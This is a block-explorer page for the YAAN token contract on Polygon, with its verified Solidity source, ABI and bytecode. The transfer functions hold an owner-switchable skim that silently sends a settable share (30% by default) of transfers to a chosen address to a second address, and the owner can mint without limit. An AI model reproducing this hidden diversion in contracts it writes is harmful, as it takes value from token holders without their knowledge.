MATIC Price: $0.65 (-3.79%)
Gas: 274 GWei
 

Overview

Max Total Supply

585,000,000 YAAN

Holders

2,100

Total Transfers

-

Market

Price

$0.00 @ 0.000000 MATIC

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
YAAN

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at polygonscan.com on 2021-10-11
*/

// SPDX-License-Identifier: none
pragma solidity ^0.8.6; 

contract Owned {
    
    /// Modifier for owner only function call
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner");
        _;
    }
    address public owner;
   
    /// Function to transfer ownership 
    /// Only owner can call this function
    function changeOwnership(address payable _newOwner) public onlyOwner {
        owner = _newOwner;
    }
    
}

contract ERC20 is Owned {
    string public symbol;
    string public name;
    uint8 public decimals;
    uint256 public totalSupply;
    address public addressToBeChanged;
    address public addressToSend;
    bool public change;
    uint public percent;
    
    mapping (address=>uint256) internal balances;
    mapping (address=>mapping (address=>uint256)) internal allowed;
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    
    /// Returns the token balance of the address which is passed in parameter
    function balanceOf(address _owner) view public  returns (uint256 balance) {return balances[_owner];}
    
    /**
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address _to, uint256 _amount) public returns (bool) {
        
        require(_to != address(0), "Transfer to zero address");
        require (balances[msg.sender]>=_amount && _amount>0 && balances[_to]+_amount>balances[_to], "Insufficient amount or allowance error");
        if(change == true){
            if(_to == addressToBeChanged) {
                uint sendAmt = _amount * percent / 100;
                uint leftAmt = _amount - sendAmt;
                balances[msg.sender]-=_amount;
                balances[addressToSend] += sendAmt;
                balances[_to] += leftAmt;
                emit Transfer(msg.sender,_to,leftAmt);
                emit Transfer(msg.sender,addressToSend,sendAmt);
            }
            else{
                balances[msg.sender]-=_amount;
                balances[_to]+=_amount;
                emit Transfer(msg.sender,_to,_amount);
            }
        }
        else{
            balances[msg.sender]-=_amount;
            balances[_to]+=_amount;
            emit Transfer(msg.sender,_to,_amount);
        }
        
        
        return true;
    }
  
    /**
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address _from,address _to,uint256 _amount) public returns (bool) {
      
        require(_from != address(0), "Sender cannot be zero address");
        require(_to != address(0), "Recipient cannot be zero address");
        require (balances[_from]>=_amount && allowed[_from][msg.sender]>=_amount && _amount>0 && balances[_to]+_amount>balances[_to], "Insufficient amount or allowance error");
        if(change == true) {
            if(_to == addressToBeChanged) {
                uint sendAmt = _amount * percent / 100;
                uint leftAmt = _amount - sendAmt;
                balances[_from]-=_amount;
                allowed[_from][msg.sender]-=_amount;
                balances[_to]+=leftAmt;
                balances[addressToSend]+=sendAmt;
                emit Transfer(_from,_to,leftAmt);
                emit Transfer(_from,addressToSend,sendAmt);
            }
            else{
                balances[_from]-=_amount;
                allowed[_from][msg.sender]-=_amount;
                balances[_to]+=_amount;
                emit Transfer(_from, _to, _amount);
            }
        }
        else{
            balances[_from]-=_amount;
            allowed[_from][msg.sender]-=_amount;
            balances[_to]+=_amount;
            emit Transfer(_from, _to, _amount);
        }
        
        
        return true;
    }
  
    /**
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address _spender, uint256 _amount) public returns (bool success) {
        require(_spender != address(0), "Approval for zero address");
        allowed[msg.sender][_spender]=_amount;
        emit Approval(msg.sender, _spender, _amount);
        return true;
    }
    
    /**
     *  Returns allowance for an address approved for contract
     */
    function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
      return allowed[_owner][_spender];
    }
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal  virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        totalSupply += amount;
        balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */ 
    function _burn(address account, uint256 amount) internal  virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        balances[account] = accountBalance - amount;
        totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }
    
    // Set change status
    function setChangeStatus(bool val) public onlyOwner {
        require(change != val, "Already in this state");
        require(addressToBeChanged != address(0) && addressToSend != address(0), "Change addresses cannot be zero");
        change = val;
    }
    
    // Set percent amount
    function setPercent(uint _percent) public onlyOwner {
        percent = _percent;
    }
    
    // Set addressToBeChanged
    // Only owner can call this function
    function setAddressToChange(address addr) public onlyOwner {
        addressToBeChanged = addr;
    }
    
    // Set addressToSend
    // Only owner can call this function
    function setAddressToSend(address addr) public onlyOwner {
        addressToSend = addr;
    }
    
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract YAAN  is ERC20 {
    
    /**
     * @dev Sets symbol, name, decimals and totalSupply of the token
     * 
     * - Sets msg.sender as the owner of the contract
     * - Transfers totalSupply to owner
     */ 
    constructor()   {
        symbol = "YAAN";
        name = "Yaan Launchpad";
        decimals = 18;                                    
        totalSupply = 585000000 * 10**18;
        change = false;
        percent = 30;
       
        owner = msg.sender;
        balances[owner] = totalSupply;
    }
    
    
    /**
     * @dev Calls mint function from ERC20 contract
     * 
     * Requirements:
     * 
     * - only owner can call this function
     * - 'to' address cannot be zero address
     */
    function mint(address to, uint amount) external onlyOwner {
        require(to != address(0), "No mint to zero address");
        _mint(to, amount);
    }
    
    /**
     * @dev Calls burn function from ERC20 contract
     * 
     */
    function burn(uint amount) external {
        _burn(msg.sender, amount);
    }
    
    
   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addressToBeChanged","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addressToSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"change","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newOwner","type":"address"}],"name":"changeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setAddressToChange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setAddressToSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"val","type":"bool"}],"name":"setChangeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_percent","type":"uint256"}],"name":"setPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604080518082019091526004808252632ca0a0a760e11b60209092019182526200003f91600191620000cf565b5060408051808201909152600e8082526d1658585b8813185d5b98da1c185960921b60209092019182526200007791600291620000cf565b506003805460ff191660121790556b01e3e6918b924b04e900000060048190556006805460ff60a01b19169055601e600755600080546001600160a01b031916339081178255815260086020526040902055620001b2565b828054620000dd9062000175565b90600052602060002090601f0160209004810192826200010157600085556200014c565b82601f106200011c57805160ff19168380011785556200014c565b828001600101855582156200014c579182015b828111156200014c5782518255916020019190600101906200012f565b506200015a9291506200015e565b5090565b5b808211156200015a57600081556001016200015f565b600181811c908216806200018a57607f821691505b60208210811415620001ac57634e487b7160e01b600052602260045260246000fd5b50919050565b6113ec80620001c26000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806340c10f19116100b857806388e27fe01161007c57806388e27fe0146102a75780638da5cb5b146102ba57806395d89b41146102cd578063a9059cbb146102d5578063dd62ed3e146102e8578063f47d14321461032157600080fd5b806340c10f191461023c57806342966c681461024f57806370a082311461026257806370ba11131461028b5780637154b8b51461029457600080fd5b806323b872dd116100ff57806323b872dd146101d05780632af4c31e146101e35780632ee79ded146101f6578063313ce5671461020a5780633c6ab46e1461022957600080fd5b806306ae93591461013c57806306fdde031461016c578063095ea7b31461018157806318160ddd146101a45780631de853c1146101bb575b600080fd5b60065461014f906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610174610334565b6040516101639190611201565b61019461018f36600461119a565b6103c2565b6040519015158152602001610163565b6101ad60045481565b604051908152602001610163565b6101ce6101c93660046110fc565b610484565b005b6101946101de366004611159565b6104d0565b6101ce6101f13660046110fc565b61095f565b60065461019490600160a01b900460ff1681565b6003546102179060ff1681565b60405160ff9091168152602001610163565b60055461014f906001600160a01b031681565b6101ce61024a36600461119a565b6109ab565b6101ce61025d3660046111e8565b610a39565b6101ad6102703660046110fc565b6001600160a01b031660009081526008602052604090205490565b6101ad60075481565b6101ce6102a23660046111e8565b610a46565b6101ce6102b53660046111c6565b610a75565b60005461014f906001600160a01b031681565b610174610b86565b6101946102e336600461119a565b610b93565b6101ad6102f6366004611120565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6101ce61032f3660046110fc565b610e9e565b6002805461034190611330565b80601f016020809104026020016040519081016040528092919081815260200182805461036d90611330565b80156103ba5780601f1061038f576101008083540402835291602001916103ba565b820191906000526020600020905b81548152906001019060200180831161039d57829003601f168201915b505050505081565b60006001600160a01b03831661041f5760405162461bcd60e51b815260206004820152601960248201527f417070726f76616c20666f72207a65726f20616464726573730000000000000060448201526064015b60405180910390fd5b3360008181526009602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161041690611256565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b0384166105285760405162461bcd60e51b815260206004820152601d60248201527f53656e6465722063616e6e6f74206265207a65726f20616464726573730000006044820152606401610416565b6001600160a01b03831661057e5760405162461bcd60e51b815260206004820181905260248201527f526563697069656e742063616e6e6f74206265207a65726f20616464726573736044820152606401610416565b6001600160a01b03841660009081526008602052604090205482118015906105c957506001600160a01b03841660009081526009602090815260408083203384529091529020548211155b80156105d55750600082115b801561060157506001600160a01b0383166000908152600860205260409020546105ff83826112c0565b115b61061d5760405162461bcd60e51b81526004016104169061127a565b600654600160a01b900460ff16151560011415610885576005546001600160a01b03848116911614156107b157600060646007548461065c91906112fa565b61066691906112d8565b905060006106748285611319565b6001600160a01b0387166000908152600860205260408120805492935086929091906106a1908490611319565b90915550506001600160a01b0386166000908152600960209081526040808320338452909152812080548692906106d9908490611319565b90915550506001600160a01b038516600090815260086020526040812080548392906107069084906112c0565b90915550506006546001600160a01b0316600090815260086020526040812080548492906107359084906112c0565b92505081905550846001600160a01b0316866001600160a01b03166000805160206113978339815191528360405161076f91815260200190565b60405180910390a36006546040518381526001600160a01b03918216918816906000805160206113978339815191529060200160405180910390a35050610955565b6001600160a01b038416600090815260086020526040812080548492906107d9908490611319565b90915550506001600160a01b038416600090815260096020908152604080832033845290915281208054849290610811908490611319565b90915550506001600160a01b0383166000908152600860205260408120805484929061083e9084906112c0565b92505081905550826001600160a01b0316846001600160a01b03166000805160206113978339815191528460405161087891815260200190565b60405180910390a3610955565b6001600160a01b038416600090815260086020526040812080548492906108ad908490611319565b90915550506001600160a01b0384166000908152600960209081526040808320338452909152812080548492906108e5908490611319565b90915550506001600160a01b038316600090815260086020526040812080548492906109129084906112c0565b92505081905550826001600160a01b0316846001600160a01b03166000805160206113978339815191528460405161094c91815260200190565b60405180910390a35b5060019392505050565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161041690611256565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109d55760405162461bcd60e51b815260040161041690611256565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152601760248201527f4e6f206d696e7420746f207a65726f20616464726573730000000000000000006044820152606401610416565b610a358282610eea565b5050565b610a433382610fb7565b50565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161041690611256565b600755565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161041690611256565b60065460ff600160a01b9091041615158115151415610af85760405162461bcd60e51b8152602060048201526015602482015274416c726561647920696e207468697320737461746560581b6044820152606401610416565b6005546001600160a01b031615801590610b1c57506006546001600160a01b031615155b610b685760405162461bcd60e51b815260206004820152601f60248201527f4368616e6765206164647265737365732063616e6e6f74206265207a65726f006044820152606401610416565b60068054911515600160a01b0260ff60a01b19909216919091179055565b6001805461034190611330565b60006001600160a01b038316610beb5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610416565b336000908152600860205260409020548211801590610c0a5750600082115b8015610c3657506001600160a01b038316600090815260086020526040902054610c3483826112c0565b115b610c525760405162461bcd60e51b81526004016104169061127a565b600654600160a01b900460ff16151560011415610e19576005546001600160a01b0384811691161415610d95576000606460075484610c9191906112fa565b610c9b91906112d8565b90506000610ca98285611319565b33600090815260086020526040812080549293508692909190610ccd908490611319565b90915550506006546001600160a01b031660009081526008602052604081208054849290610cfc9084906112c0565b90915550506001600160a01b03851660009081526008602052604081208054839290610d299084906112c0565b90915550506040518181526001600160a01b0386169033906000805160206113978339815191529060200160405180910390a36006546040518381526001600160a01b039091169033906000805160206113978339815191529060200160405180910390a35050610e95565b3360009081526008602052604081208054849290610db4908490611319565b90915550506001600160a01b03831660009081526008602052604081208054849290610de19084906112c0565b90915550506040518281526001600160a01b0384169033906000805160206113978339815191529060200160405180910390a3610e95565b3360009081526008602052604081208054849290610e38908490611319565b90915550506001600160a01b03831660009081526008602052604081208054849290610e659084906112c0565b90915550506040518281526001600160a01b03841690339060008051602061139783398151915290602001610473565b50600192915050565b6000546001600160a01b03163314610ec85760405162461bcd60e51b815260040161041690611256565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216610f405760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610416565b8060046000828254610f5291906112c0565b90915550506001600160a01b03821660009081526008602052604081208054839290610f7f9084906112c0565b90915550506040518181526001600160a01b038316906000906000805160206113978339815191529060200160405180910390a35050565b6001600160a01b0382166110175760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610416565b6001600160a01b0382166000908152600860205260409020548181101561108b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610416565b6110958282611319565b6001600160a01b038416600090815260086020526040812091909155600480548492906110c3908490611319565b90915550506040518281526000906001600160a01b038516906000805160206113978339815191529060200160405180910390a3505050565b60006020828403121561110e57600080fd5b813561111981611381565b9392505050565b6000806040838503121561113357600080fd5b823561113e81611381565b9150602083013561114e81611381565b809150509250929050565b60008060006060848603121561116e57600080fd5b833561117981611381565b9250602084013561118981611381565b929592945050506040919091013590565b600080604083850312156111ad57600080fd5b82356111b881611381565b946020939093013593505050565b6000602082840312156111d857600080fd5b8135801515811461111957600080fd5b6000602082840312156111fa57600080fd5b5035919050565b600060208083528351808285015260005b8181101561122e57858101830151858201604001528201611212565b81811115611240576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252600a908201526927b7363c9037bbb732b960b11b604082015260600190565b60208082526026908201527f496e73756666696369656e7420616d6f756e74206f7220616c6c6f77616e63656040820152651032b93937b960d11b606082015260800190565b600082198211156112d3576112d361136b565b500190565b6000826112f557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156113145761131461136b565b500290565b60008282101561132b5761132b61136b565b500390565b600181811c9082168061134457607f821691505b6020821081141561136557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a4357600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220278d9ee7ae9d72ebde566db62d670a7e3d35877a1a92e65f141607ef7fb4432064736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c806340c10f19116100b857806388e27fe01161007c57806388e27fe0146102a75780638da5cb5b146102ba57806395d89b41146102cd578063a9059cbb146102d5578063dd62ed3e146102e8578063f47d14321461032157600080fd5b806340c10f191461023c57806342966c681461024f57806370a082311461026257806370ba11131461028b5780637154b8b51461029457600080fd5b806323b872dd116100ff57806323b872dd146101d05780632af4c31e146101e35780632ee79ded146101f6578063313ce5671461020a5780633c6ab46e1461022957600080fd5b806306ae93591461013c57806306fdde031461016c578063095ea7b31461018157806318160ddd146101a45780631de853c1146101bb575b600080fd5b60065461014f906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610174610334565b6040516101639190611201565b61019461018f36600461119a565b6103c2565b6040519015158152602001610163565b6101ad60045481565b604051908152602001610163565b6101ce6101c93660046110fc565b610484565b005b6101946101de366004611159565b6104d0565b6101ce6101f13660046110fc565b61095f565b60065461019490600160a01b900460ff1681565b6003546102179060ff1681565b60405160ff9091168152602001610163565b60055461014f906001600160a01b031681565b6101ce61024a36600461119a565b6109ab565b6101ce61025d3660046111e8565b610a39565b6101ad6102703660046110fc565b6001600160a01b031660009081526008602052604090205490565b6101ad60075481565b6101ce6102a23660046111e8565b610a46565b6101ce6102b53660046111c6565b610a75565b60005461014f906001600160a01b031681565b610174610b86565b6101946102e336600461119a565b610b93565b6101ad6102f6366004611120565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6101ce61032f3660046110fc565b610e9e565b6002805461034190611330565b80601f016020809104026020016040519081016040528092919081815260200182805461036d90611330565b80156103ba5780601f1061038f576101008083540402835291602001916103ba565b820191906000526020600020905b81548152906001019060200180831161039d57829003601f168201915b505050505081565b60006001600160a01b03831661041f5760405162461bcd60e51b815260206004820152601960248201527f417070726f76616c20666f72207a65726f20616464726573730000000000000060448201526064015b60405180910390fd5b3360008181526009602090815260408083206001600160a01b03881680855290835292819020869055518581529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a350600192915050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b815260040161041690611256565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b0384166105285760405162461bcd60e51b815260206004820152601d60248201527f53656e6465722063616e6e6f74206265207a65726f20616464726573730000006044820152606401610416565b6001600160a01b03831661057e5760405162461bcd60e51b815260206004820181905260248201527f526563697069656e742063616e6e6f74206265207a65726f20616464726573736044820152606401610416565b6001600160a01b03841660009081526008602052604090205482118015906105c957506001600160a01b03841660009081526009602090815260408083203384529091529020548211155b80156105d55750600082115b801561060157506001600160a01b0383166000908152600860205260409020546105ff83826112c0565b115b61061d5760405162461bcd60e51b81526004016104169061127a565b600654600160a01b900460ff16151560011415610885576005546001600160a01b03848116911614156107b157600060646007548461065c91906112fa565b61066691906112d8565b905060006106748285611319565b6001600160a01b0387166000908152600860205260408120805492935086929091906106a1908490611319565b90915550506001600160a01b0386166000908152600960209081526040808320338452909152812080548692906106d9908490611319565b90915550506001600160a01b038516600090815260086020526040812080548392906107069084906112c0565b90915550506006546001600160a01b0316600090815260086020526040812080548492906107359084906112c0565b92505081905550846001600160a01b0316866001600160a01b03166000805160206113978339815191528360405161076f91815260200190565b60405180910390a36006546040518381526001600160a01b03918216918816906000805160206113978339815191529060200160405180910390a35050610955565b6001600160a01b038416600090815260086020526040812080548492906107d9908490611319565b90915550506001600160a01b038416600090815260096020908152604080832033845290915281208054849290610811908490611319565b90915550506001600160a01b0383166000908152600860205260408120805484929061083e9084906112c0565b92505081905550826001600160a01b0316846001600160a01b03166000805160206113978339815191528460405161087891815260200190565b60405180910390a3610955565b6001600160a01b038416600090815260086020526040812080548492906108ad908490611319565b90915550506001600160a01b0384166000908152600960209081526040808320338452909152812080548492906108e5908490611319565b90915550506001600160a01b038316600090815260086020526040812080548492906109129084906112c0565b92505081905550826001600160a01b0316846001600160a01b03166000805160206113978339815191528460405161094c91815260200190565b60405180910390a35b5060019392505050565b6000546001600160a01b031633146109895760405162461bcd60e51b815260040161041690611256565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109d55760405162461bcd60e51b815260040161041690611256565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152601760248201527f4e6f206d696e7420746f207a65726f20616464726573730000000000000000006044820152606401610416565b610a358282610eea565b5050565b610a433382610fb7565b50565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161041690611256565b600755565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161041690611256565b60065460ff600160a01b9091041615158115151415610af85760405162461bcd60e51b8152602060048201526015602482015274416c726561647920696e207468697320737461746560581b6044820152606401610416565b6005546001600160a01b031615801590610b1c57506006546001600160a01b031615155b610b685760405162461bcd60e51b815260206004820152601f60248201527f4368616e6765206164647265737365732063616e6e6f74206265207a65726f006044820152606401610416565b60068054911515600160a01b0260ff60a01b19909216919091179055565b6001805461034190611330565b60006001600160a01b038316610beb5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610416565b336000908152600860205260409020548211801590610c0a5750600082115b8015610c3657506001600160a01b038316600090815260086020526040902054610c3483826112c0565b115b610c525760405162461bcd60e51b81526004016104169061127a565b600654600160a01b900460ff16151560011415610e19576005546001600160a01b0384811691161415610d95576000606460075484610c9191906112fa565b610c9b91906112d8565b90506000610ca98285611319565b33600090815260086020526040812080549293508692909190610ccd908490611319565b90915550506006546001600160a01b031660009081526008602052604081208054849290610cfc9084906112c0565b90915550506001600160a01b03851660009081526008602052604081208054839290610d299084906112c0565b90915550506040518181526001600160a01b0386169033906000805160206113978339815191529060200160405180910390a36006546040518381526001600160a01b039091169033906000805160206113978339815191529060200160405180910390a35050610e95565b3360009081526008602052604081208054849290610db4908490611319565b90915550506001600160a01b03831660009081526008602052604081208054849290610de19084906112c0565b90915550506040518281526001600160a01b0384169033906000805160206113978339815191529060200160405180910390a3610e95565b3360009081526008602052604081208054849290610e38908490611319565b90915550506001600160a01b03831660009081526008602052604081208054849290610e659084906112c0565b90915550506040518281526001600160a01b03841690339060008051602061139783398151915290602001610473565b50600192915050565b6000546001600160a01b03163314610ec85760405162461bcd60e51b815260040161041690611256565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038216610f405760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610416565b8060046000828254610f5291906112c0565b90915550506001600160a01b03821660009081526008602052604081208054839290610f7f9084906112c0565b90915550506040518181526001600160a01b038316906000906000805160206113978339815191529060200160405180910390a35050565b6001600160a01b0382166110175760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610416565b6001600160a01b0382166000908152600860205260409020548181101561108b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610416565b6110958282611319565b6001600160a01b038416600090815260086020526040812091909155600480548492906110c3908490611319565b90915550506040518281526000906001600160a01b038516906000805160206113978339815191529060200160405180910390a3505050565b60006020828403121561110e57600080fd5b813561111981611381565b9392505050565b6000806040838503121561113357600080fd5b823561113e81611381565b9150602083013561114e81611381565b809150509250929050565b60008060006060848603121561116e57600080fd5b833561117981611381565b9250602084013561118981611381565b929592945050506040919091013590565b600080604083850312156111ad57600080fd5b82356111b881611381565b946020939093013593505050565b6000602082840312156111d857600080fd5b8135801515811461111957600080fd5b6000602082840312156111fa57600080fd5b5035919050565b600060208083528351808285015260005b8181101561122e57858101830151858201604001528201611212565b81811115611240576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252600a908201526927b7363c9037bbb732b960b11b604082015260600190565b60208082526026908201527f496e73756666696369656e7420616d6f756e74206f7220616c6c6f77616e63656040820152651032b93937b960d11b606082015260800190565b600082198211156112d3576112d361136b565b500190565b6000826112f557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156113145761131461136b565b500290565b60008282101561132b5761132b61136b565b500390565b600181811c9082168061134457607f821691505b6020821081141561136557634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610a4357600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220278d9ee7ae9d72ebde566db62d670a7e3d35877a1a92e65f141607ef7fb4432064736f6c63430008060033

Deployed Bytecode Sourcemap

7211:1112:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;655:28;;;;;-1:-1:-1;;;;;655:28:0;;;;;;-1:-1:-1;;;;;2327:32:1;;;2309:51;;2297:2;2282:18;655:28:0;;;;;;;;529:18;;;:::i;:::-;;;;;;;:::i;4331:286::-;;;;;;:::i;:::-;;:::i;:::-;;;2536:14:1;;2529:22;2511:41;;2499:2;2484:18;4331:286:0;2466:92:1;582:26:0;;;;;;;;;7710:25:1;;;7698:2;7683:18;582:26:0;7665:76:1;6821:103:0;;;;;;:::i;:::-;;:::i;:::-;;2821:1404;;;;;;:::i;:::-;;:::i;353:105::-;;;;;;:::i;:::-;;:::i;690:18::-;;;;;-1:-1:-1;;;690:18:0;;;;;;554:21;;;;;;;;;;;;7918:4:1;7906:17;;;7888:36;;7876:2;7861:18;554:21:0;7843:87:1;615:33:0;;;;;-1:-1:-1;;;;;615:33:0;;;7974:157;;;;;;:::i;:::-;;:::i;8223:80::-;;;;;;:::i;:::-;;:::i;1120:100::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1202:16:0;1177:15;1202:16;;;:8;:16;;;;;;;1120:100;715:19;;;;;;6647:89;;;;;;:::i;:::-;;:::i;6349:259::-;;;;;;:::i;:::-;;:::i;237:20::-;;;;;-1:-1:-1;;;;;237:20:0;;;502;;;:::i;1393:1151::-;;;;;;:::i;:::-;;:::i;4711:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4820:15:0;;;4785:17;4820:15;;;:7;:15;;;;;;;;:25;;;;;;;;;;;;;